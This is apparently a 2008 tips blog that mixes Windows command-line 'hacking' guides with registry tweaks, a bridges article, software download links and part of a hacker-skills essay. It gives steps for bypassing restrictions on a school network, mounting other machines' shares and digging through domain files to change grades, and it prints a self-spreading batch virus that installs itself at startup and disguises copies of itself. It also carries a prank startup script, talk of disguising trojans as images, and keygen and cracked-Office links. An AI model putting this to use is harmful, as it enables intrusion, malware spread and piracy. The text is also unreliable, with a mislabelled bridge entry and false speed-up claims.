Brief definitions of most used commands
For use in command prompt on you own computer, hacking, network
CMD or command.com = use whichever works best or whichever one is available ( to open command prompt in the run command.
EXIT = exit the command prompt
PATH = displays the places that if will look for if not in the name first
CLS = clears up everything on command prompt page
TIME = displays time and you can change it if you want
HELP = displays help, more commands
DIR OR DIR /? = Shows a lot of information
CD\PROGRA~1 ENTER THEN DIR = Programs installed (1)
CD\ ENTER THEN DIR = shows installations of programs
(DEL OR COPY OR DIR) *.* C:\TARGET = you can either delete, copy or dir a program
NET = you get options to use it
SHUTDOWN –LETTER OR SHUTDOWN/? = you can shutdown
Your computer or another computer
NETSTAT = view the stats of the computers one feature is
to get people’s I.P. for more type netstat/?
FSUTIL AND FSUTIL FSINFO = shows you things like list of
all drives
IPCONFIG OR IPCONFIG/ALL = shows you I.P. and all others
in a network
ERASE C:\PROGRAM FILES = erases all program files or leave
just the c delete everything
NBTSTAT = GETTING INFORMATION ON YOUR COMPUTER
AND OTHERS
TREE = displays all files on program files and desktop good
for seeing if you have any keyloggers
TRACERT (IP) = to see if the I.P. exist
NET USE C: \\PCNAME\C$ /USER: PCNAME\ADMINISTRATOR
= to sign in as an administrator that’s not signed in
NSLOOKUP SET TYPE=MX EXP:HOTMAIL.COM = getting ips
from web sites
/WHOIS (SCREENAME) = only on a chat room, to find
information a that person which owns the screename an I.P.
For use in command prompt for path chanching
DISKPART = shows you stuff like the computer name and
takes you to disk part option
CD\PROGRA~1 ENTER THEN DIR = Programs installed (2)
CD \WINDOWS \SYSTEM = to look for stuff in this folders
TELNET : remote controlling
NET START MESSENGER = start net send when it is disable
For use in command prompt only on a network or hacking
BOOTCFG = you can make changes to boot the computer ,
boot it mess it up
GPRESULT = shows all the information of a computer
DRIVERQUERY = list of drives and their properties
GETMAC = this gets the Mac (media access control) address
NETSH = good for hacking a network configuration tool
type netsh /? For more
OPENFILES = only for windows professional allows an
administrator to display or disconnect open files
REG = THE CONSOLE REGISTRY TOOL
SYSTEMINFO = info
TASKLIST AND TASKKILL = LIKE PRESING CTRL+ALT+DELETE
In this step by step guide you will learn about: using the command prompt under a limited account.
Things to remember
CP = Command Prompt
HDs = Hard Drives
I will explain two methods of doing this (in case one doesn't work for you)
Fist Method (NEW & IMPROVED)
Step by step:
1. Go to the C:\ drive if it's block and you don't know how to get to it go to Hacking C:\ Drives and then continue to step #2.
2. When on the C:\ drive go to the directory C:\windows\system32 and click search at the top of the window click all files and folders.
3. In the search space type command.
4. The search will probably give back command prompt and another called command. Make sure to you choose the one that says only command NOT command prompt.
5. There you go, your in command prompt and is fully usable.
Second Method (NEW & IMPROVED)
Step by step:
1. First, open a notepad file (if your network blocks notepad, open a webpage, right click and go to view source, notepad!).
2. Now write
command.com
3. save the file as batch.bat, or anything with the extension.bat Open this file and it will give you a command prompt.
Continue to Hacking network Hard Drives with command prompt
In this step by step guide you will learn about: How to Hack Network Hard Drives using the command prompt.
Things to remember
CP = Command Prompt
HDs = Hard Drives
Step by Step:
1. Open command prompt if it's block and you don't know how to get to it go to Using the command prompt under a limited account and then continue to step #2.
2. Once in command prompt type
c:\windows>nbtstat -a 203.195.136.156
(instead of the I.P. address type the real I.P. address or the name of the computer your trying to get to) and if you don't know how to get the name of the computer then go to what to do after hacking the C:\ drive and then continue to step #3.
3. Let say that it gives you this
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
user <00> UNIQUE Registered
workgroup <00> GROUP Registered
user <03> UNIQUE Registered
user <20> UNIQUE Registered
MAC Address = 00-02-44-14-23-E6
The number <20> shows that the victim has enabled the File And Printer Sharing.
-------------------------------------
NOTE - If you do not get this number there are three possible answers
A. You do not get the number <20> . This shows that the victim has not enabled the File and Printer Sharing.
B. You get "Host Not found". This shows that the port 139 is closed or the ip address or computer name doesn't exist or the computer you are trying to get to is turned off.
C. its still doesn’t matter if you don't get the <20> because this is to hack hard drives and not printers
4. Now in command prompt type
c:\windows>net view \\203.195.136.156
Let's suppose we get the following output
Shared resources at \\203.195.136.156
The computer's name will be here
Share name Type Used as Comment
-------------------------------------------
CDISK Disk
The command completed successfully.
5. The name CDISK is one of the things that being shared on command prompt type (the word Disk at the side its just saying what the the thing being shared is a printer, disk or a file)
c:\windows>net use k: \\203.195.136.156\CDISK
You may replace k letter by any other letter, If the command is successful we will get the confirmation - The command was completed successfully
Now just double click on the My Computer icon on your desktop
and there will be a new drive there with the letter that you replaced K with.
In this step by step guide you will learn about: Hacking C:\ Drives on the computer your on
I will explain two ways of doing this (in case one doesn't work for you)
First Method (NEW & IMPROVED)
Step by Step:
1. Click start.
2. Go to accessories.
3. RIGHT CLICK on command prompt.
4. Click on properties.
5. Now click find target.
6. Now you are on the C:\ drive.
Second Method (NEW & IMPROVED)
Step by step
1. If the first method didn't work then this is surely going to work for you.
2. Create a new document anywhere you want.
3. Then right click the document you just created
4. Then choose open with -> Choose Program -> then clik Browse
5. If your not on the C:\ drive already in the text area type "C:\" without the quotes.
6. Happy ending your on the C:\ drive.
In this step by step guide you will learn about: what to do after hacking the C:\ drive, well you have to look for this small application that's going to be really helpful in the future for hacking servers.
Step by Step: NEW & IMPROVED
1. Make sure you're in the directory C:\WINDOWS\system32. If you don't know how to get there go back to my last tutorial and learn.
2. Click on search at the top of the window or press ctrl+E then choose all files and folders.
3. Type ddeshare, click search.
4. Double click on the result that you get make sure is named ddeshare.
5. Click on shares, then select computer.
6. This will show you all the computers on the whole Network, including the Domain Controller.
7. This may not look like a lot right now, but trust is going to be really helpful later on when your hacking servers and stuff
In this step by step guide you will learn about: how to hack a server and see absolutely all computers on the Microsoft networks, all domains and workgroups. Now you have access to the server and you can see all programs, files.... on the whole network
Step by Step: NEW & IMPROVED
1. Create a new document anywhere you want.
3. Then right click the document you just created.
4. Then choose open with -> Choose Program -> then clik Browse
3. Now remember that program I said you were going to need, its time to use it now "ddeshare". If you don't know how to get to this program go to On C:\ drive what next to learn how to get it once you read this continue to step #4.
4. Open it up and go to shares then choose select computer.
5. After that, is going to show you all the computer names is something like \\thecomputernamegoeshere.
6. Select any computer its better if you don't choose the computer but for you to choose one of the domains it's most positively to work right click then copy the name on the top or remember it \\thecomputernamegoeshere.
7. Paste or write the name of the computer there in the window with the text area, remember when you clicked browse on step #3 thats where you put \\thecomputernamegoeshere or domain name.
8. If the first computer name or domain doesn't work, choose another one.
9. A folder named shared folders is probably going to show.
10. Now click on the icon up it looks like a folder with an arrow pointing up on top of the window (click one or two times) until you see all the domains or a lot of computers.
11. Just go around searching for files mainly look for anything you want.
12. I will tell you one thing here you can find files, scripts, and a lot of what you need to change your grades, take detentions off your record basically do anything. (you just have to know where to look and basically you can do anything. Something easier to look for might be all the students' pictures, or the planning sheet of teachers and so on, look in domains and computers that you think might have this kind of information or whatever you are looking for).
13. I can't tell you where to look for all this because again every network is different and all the files are located in different places
In this step by step guide you will learn about: Deleting cache, cookies, all history from your browser under a limited account. Manually meaning without the use of programs or anything like that
Step by Step:
1. To begin with you have to get to search utility in windows I will mention a couple of ways you can do this because sometimes under a limited account they block it or remove the shortcut so you can't get to it.
A. Click start - > click where it says search
B. Open up internet explorer -> look up where it says view -> explorer bar -> search
C. Or just simply press Ctrl + E while in you browser
2. Now that your in search click all files and documents
at the bottom it says more advanced options click on that
Then check the line that says Search hidden folders and files
3. Now type history, click search.
4. When you get the results it should be a couple but the one you need should say history and at the side of it the location should be something like
C:\Documents and Settings\your user name\Local Settings
5. Now right click the result and the click Open Containing Folder
6. The rest is pretty simple you just need to open up the four different folders you will find there
Open "Apps Folder" delete everything on it
Open "Temp Folder" delete everything on it
Open "History Folder" delete everything on it
Open "Temporary Internet Files Folder" delete everything on it
Dec 22, 2008
BRIEF DEFINITIONS OF MOSTLY USED CMD COMMANDS
Dec 16, 2008
THE LONGEST BRIDGES IN THE WORLD
THE PENANG BRIDGE
The Penang Bridge (Jambatan Pulau Pinang in Malay) E 36 is a dual-carriageway toll bridge that connects Gelugor on the island of Penang and Seberang Prai on the mainland of Malaysia on the Malay Peninsula. The bridge is also linked to the North-South Expressway in Prai and Jelutong Expressway in Penang. It was officially opened to traffic on September 14, 1985. The total length of the bridge is 13.5 km (8.4 miles), making it among the longest bridges in the world, the longest bridge in the country as well as a national landmark. PLUS Expressway Berhad is the concession holder which manages it.
THE RIO-NITEROI BRIDGE
The San Mateo-Hayward Bridge (commonly called San Mateo Bridge) is a bridge crossing California’s San Francisco Bay in the United States, linking the San Francisco Peninsula with the East Bay. More specifically, the bridge’s western end is in Foster City, the most recent urban addition to the eastern edge of San Mateo. The eastern end of the bridge is in Hayward. The bridge is owned by the state of California, and is maintained by Caltrans, the state highway agency. 
The Seven Mile Bridge, in the Florida Keys, runs over a channel between the Gulf of Mexico and the Florida Strait, connecting Key Vaca (the location of the city of Marathon, Florida) in the Middle Keys to Little Duck Key in the Lower Keys. Among the longest bridges in existence when it was built, it is one of the many bridges on US 1 in the Keys, where the road is called the Overseas Highway. 
Donghai Bridge (literally “East Sea Grand Bridge”) is the longest cross-sea bridge in the world and the longest bridge in Asia. It was completed on December 10, 2005. It has a total length of 32.5 kilometres (20.2 miles) and connects Shanghai and the offshore Yangshan deep-water port in China. Most of the bridge is a low-level viaduct. There are also cable-stayed sections to allow for the passage of large ships, largest with span of 420 m.
The Chesapeake Bay Bridge (commonly known as the Bay Bridge) is a major dual-span bridge in the U.S. state of Maryland; spanning the Chesapeake Bay, it connects the state’s Eastern and Western Shore regions. At 4.3 miles (7 km) in length, the original span was the world’s longest continuous over-water steel structure when it opened in 1952. The bridge is officially named the William Preston Lane, Jr. Memorial Bridge after William Preston Lane, Jr. who, as governor of Maryland, implemented its construction.
KING FAHD CAUSEWAY BRIDGE
A construction agreement signed on July 8, 1981 led to construction beginning the next year. The cornerstone was laid on November 11, 1982 by King Fahd of Saudi Arabia and Sheikh Isa bin Salman al-Khalifa of Bahrain; construction continued until 1986, when the combination of several bridges and dams were completed. The causeway officially opened for use on November 25, 1986.
VASCO DE GAMA BRIDGE
The Vasco da Gama Bridge (Portuguese: Ponte Vasco da Gama, pron. IPA: [’põt(?) ‘va?ku d? ‘g?m?]) is a cable-stayed bridge flanked by viaducts and roads that spans the Tagus River near Lisbon, capital of Portugal. It is the longest bridge in Europe (including viaducts), with a total length of 17.2 km (10.7 mi), including 0.829 km (0.5 mi) for the main bridge, 11.5 km (7.1 mi) in viaducts, and 4.8 km (3.0 mi) in dedicated access roads. Its purpose is to alleviate the congestion on Lisbon’s other bridge (25 de Abril Bridge), and to join previously unconnected motorways radiating from Lisbon.
Dec 14, 2008
SCARE UR FRIENDS BY SIMPLE VIRUS
Make Frnds scare for VIRUS
Open notepad and type the code below:
lol=msgbox ("Warning a virus has been detected on your PC. Press YES to format your hard disk now or press NO to format your hard disk after system reboot",20,"Warning")
Then save it as Virus.VBS
and go to the folder that contains it and open it if a window pops out saying a virus has been detected it's working. Press yes or no to close the window and put it in the startup folder of the victim's account.
On startup the window should appear.
Note: This does not harm your computer as it does not contain virus.
The Yes and no button does not do anything except closing the window. And you can edit the virus in the sentence: Warning a virus has detected on your PC to any kind of virus eg.Trojan Horse like this lol=msgbox ("Warning a Trojan horse has been detected on your PC. Press YES to format your hard disk now or press NO to format format your hard disk after system reboot",20,"Warning")
now hav fun !!☺ ♥ ♥ ☺
MAKE MOZILLA FASTER
MAKE MOZILLA 10 TIMES FASTER
THIS IS A VERY SIMPLE TRICK.....NO SOFTWARE REQUIRED......NO DL REQUIRED
Unhidden
1. Type "about:config" into the address bar and hit enter. Scroll down and look for the following entries:
2. Alter the entries as follows:
Set "network.http.pipelining" to "true"
Set "network.http.proxy.pipelining" to "true"
set "network.http.pipelining.maxrequests" to some number like 30. This means it will make 30 requests at once.
3. Lastly right-click anywhere and select New-> Integer. Name it "nglayout.initialpaint.delay" and set its value to "0". This value is the amount of time the browser waits before it acts on information it recieves.
VIRUS PROGRAM
This one is a simple batch virus
Just copy and paste the code given below in notepad and save it as anyname.bat(not txt)
Be carefull & Don't run this on ur pc
@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c "VIRUS DETECTED"
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP
It will
1) Copy itself into startup
2) Copy itself over one thousand times into random spots in your computer
3) Hide its self and all other created files
4) Task kill MSN, Norton, Windows Explorer, Limewire.
5) Swap the left mouse button with the right one
6) Opens alert boxes
7) Changes the time to 12:00 and shuts down the computer
HACK UR SERVER TO SPEED UP INTERNET EXPLORER
THIS IS THE SECOND METHOD HOW U CAN SPEED U IE
# Open the Registry editor.
go to Start -->Run and typing regedit.
# Once in Registry editor window is opened, navigate to the key:
HKEY_CURRENT_USER\Software\microsoft\Windows\CurrentVersion\InternetSettings.
#Now right click on the window on your right and add a New DWORD Value.
Rename it MaxConnectionsPerServer.
# Next right click on MaxConnectionsPerServer to edit the Dword Value.
Choose a base.If it is Hexadecimal,set the value to 99.If you opt for Decimal,set it to 153.
# Create another DWORD and rename it MaxConnectionsPer1_0Server.
Here,too,put the value mentioned above.
#Restart Internet Explorer and watch the boost you get in your connection.
HACK UR SEVER TO SPEED UP UR INTERNET EXPLORER
DNS TRICK:
When you connect to a website,your computer sends information back forth.Some of this deals with resolving the site name to an IP address.This is the stuff that TCP/IP really deals with,not words.You can increase the DNS cache by a simple Registry tweak.
#Open Notepad and copy-paste the
following code and save it with the filename dnscache.reg .
This is what you have to copy:
Windows registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters]
"CacheHashTableBucketSize"=dword:00000001
"CacheHashTableSize"=dword:00000180
"MaxCacheEntryTtlLimit"=dword:0000fa00
"MaxSOACacheEntryTtlLimit"=dword:0000012
PROTECT UR SELF FROM BEING HACKED
- 1) Protect yourself from Phishing
Usually The Unethical Hackers Upload their hotmail's fake login screen on a web server and then send these codes to the victim from yahoo or another mail sending program. - The codes are
and the user will be automatically redirected to your fake hotmail screen from their e-mail box & you r Hacked. - Beware of There Threats
2) Beware of Fake Login Screens
They Start chatting with your victim and send him the fake login screen through Their messenger and try to pish you. - There are many many of them available on the net.. which are usually small Visual Basic programs.. never reveal your password anywhere other than the latest Versions of msn Messengers.
Fake e-mails threats
This is very easy go to http://www.boxfrog.com/ register( its blocked now) but there are many others .. google u ll find many
click on create message and in from filed type in any ones e-mail address and the message will be sent. - There's also a simple way of doing this by Telnet ting from the dos Prompt..
- Beware of this Threat .. make your spam protection Powerful
3) Detect a fake message into Hotmail inbox.
This is Simple Buddies.. open your e-mail box go to options select display setting or
message display setting or (some thing like this) now select full where it says message display settings or something like this. - Open the mail which u thought to be fake now in the last where it says from u can see the address of that site from where the mail is sent but if some one has sent it through some sort of program it will tell u his ip.
- n once you know D ip m sure u know how to go between it there after
IMP: Read the ip address log from Backwards..
4)- Protect urself revealing your ip address through msn messenger.
When you Open your messenger start chatting with friend open ms dos and type netstat -n there do not press enter and then minimize it after this send something to your victim and as soon as he accept it the hotmail messenger will say connecting this is the time when u re maximize your MS-DOS and press enter the ip address next to time wait: will the friends ip. U may be Hacked The same way
Beware!!
INCREASE UR INTERNET SPEED
Increase Internet Speed
Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etc. Don't you want to get it back for your self? Here is the trick how to get 100% of your available bandwidth.
Increase internet speed :ugeek:
To get it back:
Click Start then Run and type "gpedit.msc" without quotes.
This opens the "group policy editor" and go to: "Local Computer Policy"
Then "Computer Configuration" Then "Administrative Templates"
Then select "Network" then "QOS Packet Scheduler"
After that select "Limit Reservable Bandwidth".
Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab i.e." By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."
So the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20
GETTING IP'S
GETTING THE IP'S OF ALL COMPUTER'S
To see the ip all computers you are connected to (web servers, people attempting to hack into your computer).
Go to dos (start>run>type command) and run the netstat command. Type netstat /? for details.
Type netstat -r at the command prompt to see the ip of all computers you are connected to
In MSN (and other programs) when you are chatting to someone everything you type goes through the MSN servers first (they act as a proxy) so you see their ip rather than who you are chatting to. You can get round this by sending them a file as MSN doesn't send file through its proxy.
When you type the netstat -r (or -a for a different view) the ip's are under the foreign address table. The ports are seperated by a : . Different programs use different ports, so you can work out which ip's are from which program.
Connecting to other computers and what ports are:--
Servers send information. Clients retrieve. Simple.
Windows comes with a built in program to connect to other computers called telnet.
To start Windows telnet Start menu> Run> type Telnet. Click connect> remote system
Ports are doors into computers. Hosts are computer names
(ip number or a name that is translated into the ip automatically)
Different programs open different ports, but they always open the same ports so other computers know which port to connect to. You can get a port list listing all the different ports, but a basic one is:
11 :- Sends info on the computer
21 :- FTP (File transfer program)
23 :- Telnet (Login to the computers command line)
25 :- Smtp (Sends mail)
80 :- Http (Web pages)
There are thousands of different programs using different ports. You can get programs called portscanners which check a computer for all ports up to a certain number, looking for ways in. You can portscan a computer looking for ways-in.
INCREASE UR SPEED
Speed Boosters
But if u ll use this three tricks to gather than u r able to boost ur speed something more (not 50 to 100% )bt u can some boostin is possible but u can get some more download speed
1) Try this , if you have windows XP professional
this is for broad band connections/dial up running Windows XP.
1. log on as Administrator.
2. start - run - type gpedit.msc
3. expand "local computer policy"
4. then expand "administrative templates"
5. then expand "network branch"
6. Highlight the "QoS Packet Scheduler"
7. on right window double click "limit reservable bandwidth"
8. on setting tab check the "enabled"
9. change "Bandwidth limit %" to 0
ASSOCIATE AN ICON WITH DRIVE
ASSOCIATE AN ICON WITH DRIVE
To set the icon of any drive (hard disk, cd rom or anything else) with a letter (C:\ etc.), run REGEDIT (Start -> Run -> regedit)
Navigate to:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
If one doesn't already exist, create a new KEY called "DriveIcons". Under this key, create a new key with the letter of your drive.
I.e. C for your C:\ drive.
To change the icon for that drive, create a key inside that one called DefaultIcon and set the path of (Default) to the location of your icon
eg C\DefaultIcon\
then (Default) = D:\Documents\C Drive Icon.ico
To change the name of that drive, create a key in the drive letter one (eg C\) called DefaultLabel and set the (Default) to what you want the drive to be called.
This is useful if you want to assign a long name to the floppy drive.
VIRUS IN IMAGE
Virus in image
Hi everybody,.I have one query regarding viruses since I am a novice.
- Can we insert an exe or source code of a virus within an image like .jpeg or bmp?
- So that when the image is clicked the virus will start executing....here is the explanation.let me tell u a hint thread startercopy /b
+ binary copy two files into a JPEG file..u can open and see wat is in there using winrar or any compressor software.. i think now u have a doubt????wat do u guys call spamming?? it's a exploit called Windows Meta File exploit ..
the answer is Binding of a trojan in a jpeg is not possible,though a trojan can be represented as a jpeg well ,there are some Trojans that are initiated using a jpg file. - It basically contains a link hidden inside a image something like a tag , when you click on the image the stuff gets downloaded automatically on to your comp.
- A good firewall or anti virus will prevent it .
- This same strategy is also used in stuff like cookie stealing and other stuff.you mean some trojans can be minded on a jpeg file?
- I know that trojans can be represented as jpegs but is it relly possible to bind a trojan with a jpeg?
Take any pic,for example take a pic from any ones album which is a jpeg,so can we insert a trojan into that particular jpeg?.
well you can't bind a trojan as such but u can definitely bind a html tag in it which will download the trojan on to the system. - Such images are usually in .png format. and i am not sure about jpg . format .
- I l try it with it and let you know whether it is possible or not using a jpg.Also in older days a file was something like m.jpg.exe with a icon of a jpg .
- This looked like ajpg but was a exe. So most coders would code the exe in such a way that the image was opened in a normal image viewer while the program was also executed. But this only works on lame comp users who dnt have the extensions option ticked.I am not sure whether extension like these are hidden in xp or not.
- Again will try that and let you know !! Take any pic,for example take a pic from any ones album which is a jpeg,so can we insert a trojan into that particular jpeg?
As i said before there are some exploits through which you can execute arbitrary code but without any exploit its not possible.. Because
All exe files in MS Win are PE/Coff they have a particular header starting with MZ (4d 5a) and has a particular structure on the other hand jpegs or bmps for that matter are totally different. - That is why even if you copy a trojan inside a jpeg it will not run, but a jpeg inside a trojan is a different matter.
- That is why even if you copy a trojan inside a jpeg it will not run
So, The better approach is ofcourse to bind your trojan into another exe which the victim will not suspect for a scam. - In that when he executes the "special exe you created" it will do what its supposed to do for him to see and in the background what its is supposed to do for you.
Or make a trojan with the icon of jpeg file which when executed opens a picture (which is kept as a res in the trojan) in the default pic viewer but unknown to the victim it executes malicious code in his computer. - If there are no How's and Why's + if ur question is limited to "CAN WE INSERT VIRUS CODE INTO IMAGES?" , then the answer is a PLAIN NO.
Viruses can be inserted only into objects that contain executable code - .exe, .com, .vbs, .chm, so on... The other possibilities hav already been discussed.
Dec 13, 2008
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Yahoo! Edition
Photobucket Edition
http://ftp.osuosl.org/pub/flock/releases/1.2.5/flock-1.2.5.en-US.win32.exe
AERO CURSORS
fed of using the old cursors. here the new cursors for those who want to keep their system look attractive..
http://rapidshare.com/files/140931972/Mouse_cursors.rar
INTERNET DOWNLOAD MANAGER
- Added IDM Download Panel for Firefox and other Mozilla based browsers that appears on top of a web-player when IDM detects a multimedia request from the web-player. IDM download panel is used to download and save audio and video files that are played by the web player. It can be used to download flash videos from sites like YouTube, MySpaceTV, Google Videos, etc.
- Made a workaround for a problem with downloading attachments from different yahoo servers
- Enhanced processing of downloads for different types of servers
- Also this version includes all latest bug fixes
Code:
http://rapidshare.com/files/158471364/IDM5.15.rar.html
new Keygen
Code:
http://rs565.rapidshare.com/files/147090755/Internet.Download.Manager.5.xx.All.Build.Of.Trial.Edition_s.Patch.Under.SEH.Team.rar
10 MIN GUIDE FOR JOB INTERVIEW
here is the following link to help u in the job inteview..
http://www.crazyreaders.com/eBooks/Career/10_Minute_Guide_to_Conducting_a_Job_Interview.pdf
RESUME BUILDER
PREPARE A RESUME SUCH THAT U SHOULD BE INTERVIEWED FIRST..
GOOGLE SKTECH UP 3D
We designed SketchUp's simplified toolset, guided drawing system and clean look-and-feel to help you concentrate on two things: getting your work done as efficiently as possible, and having fun while you're doing it.
download link:
MICROSOFT OFFICE 2007 BLUE EDITION
There’s quite a big chance that you’ve never heard of this ‘Blue Edition’, because - it is only available to equipment manufacturers and not to the general public.
This is the copy from the original disk, which is (as said before) only accessible to technicians of Microsoft. This version of Microsoft Office 2007 will never appear for sale, since this is the only version where there is no need for a serial. This version also doesn’t need an activation. The installer is very simple, undetailed and handy. The interface of application is completely changed, it is modernized and practically reminds in no way to the previous versions.In a few minutes the software will be installed on your computer, without any questions or other things that slow down the installation.
Office Enterprise 2007 is the most complete Microsoft toolset provided for people who must collaborate with others and work with information efficiently, regardless of location or network status. Office Enterprise 2007 builds on the strengths of Microsoft Office Professional Plus 2007, adding Microsoft Office Groove 2007 and Microsoft Office OneNote 2007, enabling people to collaborate and create, manage, and use information more efficiently.
Include:
* Microsoft Office Access 2007
* Microsoft Office Excel 2007
* Microsoft Office Groove 2007
* Microsoft Office InfoPath 2007
* Microsoft Office OneNote 2007
* Microsoft Office Outlook 2007
* Microsoft Office PowerPoint 2007
* Microsoft Office Publisher 2007
* Microsoft Office Word 2007
Microsoft Office 2007 comes loaded with a default blue theme , but now they have added two more themes to the theme set. Now it comes with a silver and black theme
No serial key needed because this version is only available to equipment manufacturers and not to the general public. It updates and is fully working, no need to crack/patch it as well.
Links
http://rapidshare.com/files/129480194/wAppz_OfficeBlueEdition.part1.rar
http://rapidshare.com/files/129481195/wAppz_OfficeBlueEdition.part2.rar
http://rapidshare.com/files/129481267/wAppz_OfficeBlueEdition.part3.rar
http://rapidshare.com/files/129479994/wAppz_OfficeBlueEdition.part4.rar
http://rapidshare.com/files/129482768/wAppz_OfficeBlueEdition.part5.rar
http://rapidshare.com/files/129480013/wAppz_OfficeBlueEdition.part6.rar
COPYING OF ORKUT PHOTOS
- presently orkut has blocked the copying of photos from others profile but it is yet simple to copy the photos from otheres profile
- just follow these steps
- 1 login on your orkut account
- 2 go to your friends album andf open the photo that you need to copy
- 3 click on the photo so that it gets to its full image
- 4 keep the mouse curser on the photo left click it and drag the photo and drop it on your address bar
- 5 then this is seperately displayed on your account just right click it and save the image
THERE ARE STILL 4 METHODS OF COPYING ORKUT PHOTOS IF ANY ONE WANTS THOSE METHODS JUST POST UR MAIL ID IN THE COMMENT
THE HIDDEN MICROSOFT SONG
Do you know the hidden Microsoft song?
- I hear this song while im installing windows, where its almost at the end where have to register your windows, enter your username.......etc.
- Some people might not hear it because, your sound card driver isn't installed. If you want to know and hear that song, here it:
- Go to Start > Run > Copy and then Paste, or press and hold the Start + r .
- Now you can see what's hiddenC:\windows\system32\oobe\images\title.wmaand hit Enter, of course ...
- Your media player should load the song, and now you can hear it.
BASIC HACKING SKILLS
2. Get one of the open-source Unixes and learn to use and run it.
3. Learn how to use the World Wide Web and write HTML.
4. If you don't have functional English, learn it.
1. Learn how to program.
This, of course, is the fundamental hacking skill. If you don't know any computer languages, I recommend starting with Python. It is cleanly designed, well documented, and relatively kind to beginners. Despite being a good first language, it is not just a toy; it is very powerful and flexible and well suited for large projects. I have written a more detailed evaluation of Python. Good tutorials are available at the Python web site.
I used to recommend Java as a good language to learn early, but this critique has changed my mind (search for “The Pitfalls of Java as a First Programming Language” within it). A hacker cannot, as they devastatingly put it “approach problem-solving like a plumber in a hardware store”; you have to know what the components actually do. Now I think it is probably best to learn C and Lisp first, then Java.
If you get into serious programming, you will have to learn C, the core language of Unix. C++ is very closely related to C; if you know one, learning the other will not be difficult. Neither language is a good one to try learning as your first, however. And, actually, the more you can avoid programming in C the more productive you will be .
Other languages of particular importance to hackers include Perl and LISP. Perl is worth learning for practical reasons; it's very widely used for active web pages and system administration, so that even if you never write Perl you should learn to read it. Many people use Perl in the way I suggest you should use Python, to avoid C programming on jobs that don't require C's machine efficiency. You will need to be able to understand their code.
LISP is worth learning for a different reason — the profound enlightenment experience you will have when you finally get it. That experience will make you a better programmer for the rest of your days, even if you never actually use LISP itself a lot. (You can get some beginning experience with LISP fairly easily by writing and modifying editing modes for the Emacs text editor, or Script-Fu plugins for the GIMP.)
It's best, actually, to learn all five of
But be aware that you won't reach the skill level of a hacker or even merely a programmer simply by accumulating languages — you need to learn how to think about programming problems in a general way, independent of any one language. To be a real hacker, you need to get to the point where you can learn a new language in days by relating what's in the manual to what you already know. This means you should learn several very different languages.
I can't give complete instructions on how to learn to program here — it's a complex skill. But I can tell you that books and courses won't do it — many, maybe most of the best hackers are self-taught. You can learn language features — bits of knowledge — from books, but the mind-set that makes that knowledge into living skill can be learned only by practice and apprenticeship. What will do it is (a) reading code and (b) writing code.
Peter Norvig, who is one of Google's top hackers and the co-author of the most widely used textbook on AI, has written an excellent essay called Teach Yourself Programming in Ten Years. His "recipe for programming success" is worth careful attention.
Learning to program is like learning to write good natural language. The best way to do it is to read some stuff written by masters of the form, write some things yourself, read a lot more, write a little more, read a lot more, write some more ... and repeat until your writing begins to develop the kind of strength and economy you see in your models.
Finding good code to read used to be hard, because there were few large programs available in source for fledgeling hackers to read and tinker with. This has changed dramatically; open-source software, programming tools, and operating systems (all built by hackers) are now widely available. Which brings me neatly to our next topic...
2. Get one of the open-source Unixes and learn to use and run it.
I'll assume you have a personal computer or can get access to one. (Take a moment to appreciate how much that means. The hacker culture originally evolved back when computers were so expensive that individuals could not own them.) The single most important step any newbie can take toward acquiring hacker skills is to get a copy of Linux or one of the BSD-Unixes or OpenSolaris, install it on a personal machine, and run it.
Yes, there are other operating systems in the world besides Unix. But they're distributed in binary — you can't read the code, and you can't modify it. Trying to learn to hack on a Microsoft Windows machine or under any other closed-source system is like trying to learn to dance while wearing a body cast.
Under Mac OS X it's possible, but only part of the system is open source — you're likely to hit a lot of walls, and you have to be careful not to develop the bad habit of depending on Apple's proprietary code. If you concentrate on the Unix under the hood you can learn some useful things.
Unix is the operating system of the Internet. While you can learn to use the Internet without knowing Unix, you can't be an Internet hacker without understanding Unix. For this reason, the hacker culture today is pretty strongly Unix-centered. (This wasn't always true, and some old-time hackers still aren't happy about it, but the symbiosis between Unix and the Internet has become strong enough that even Microsoft's muscle doesn't seem able to seriously dent it.)
So, bring up a Unix — I like Linux myself but there are other ways (and yes, you can run both Linux and Microsoft Windows on the same machine). Learn it. Run it. Tinker with it. Talk to the Internet with it. Read the code. Modify the code. You'll get better programming tools (including C, LISP, Python, and Perl) than any Microsoft operating system can dream of hosting, you'll have fun, and you'll soak up more knowledge than you realize you're learning until you look back on it as a master hacker.
For more about learning Unix, see The Loginataka. You might also want to have a look at The Art Of Unix Programming.
To get your hands on a Linux, see the Linux Online! site; you can download from there or (better idea) find a local Linux user group to help you with installation.
During the first ten years of this HOWTO's life, I reported that from a new user's point of view, all Linux distributions are almost equivalent. But in 2006-2007, an actual best choice emerged: Ubuntu. While other distros have their own areas of strength, Ubuntu is far and away the most accessible to Linux newbies.
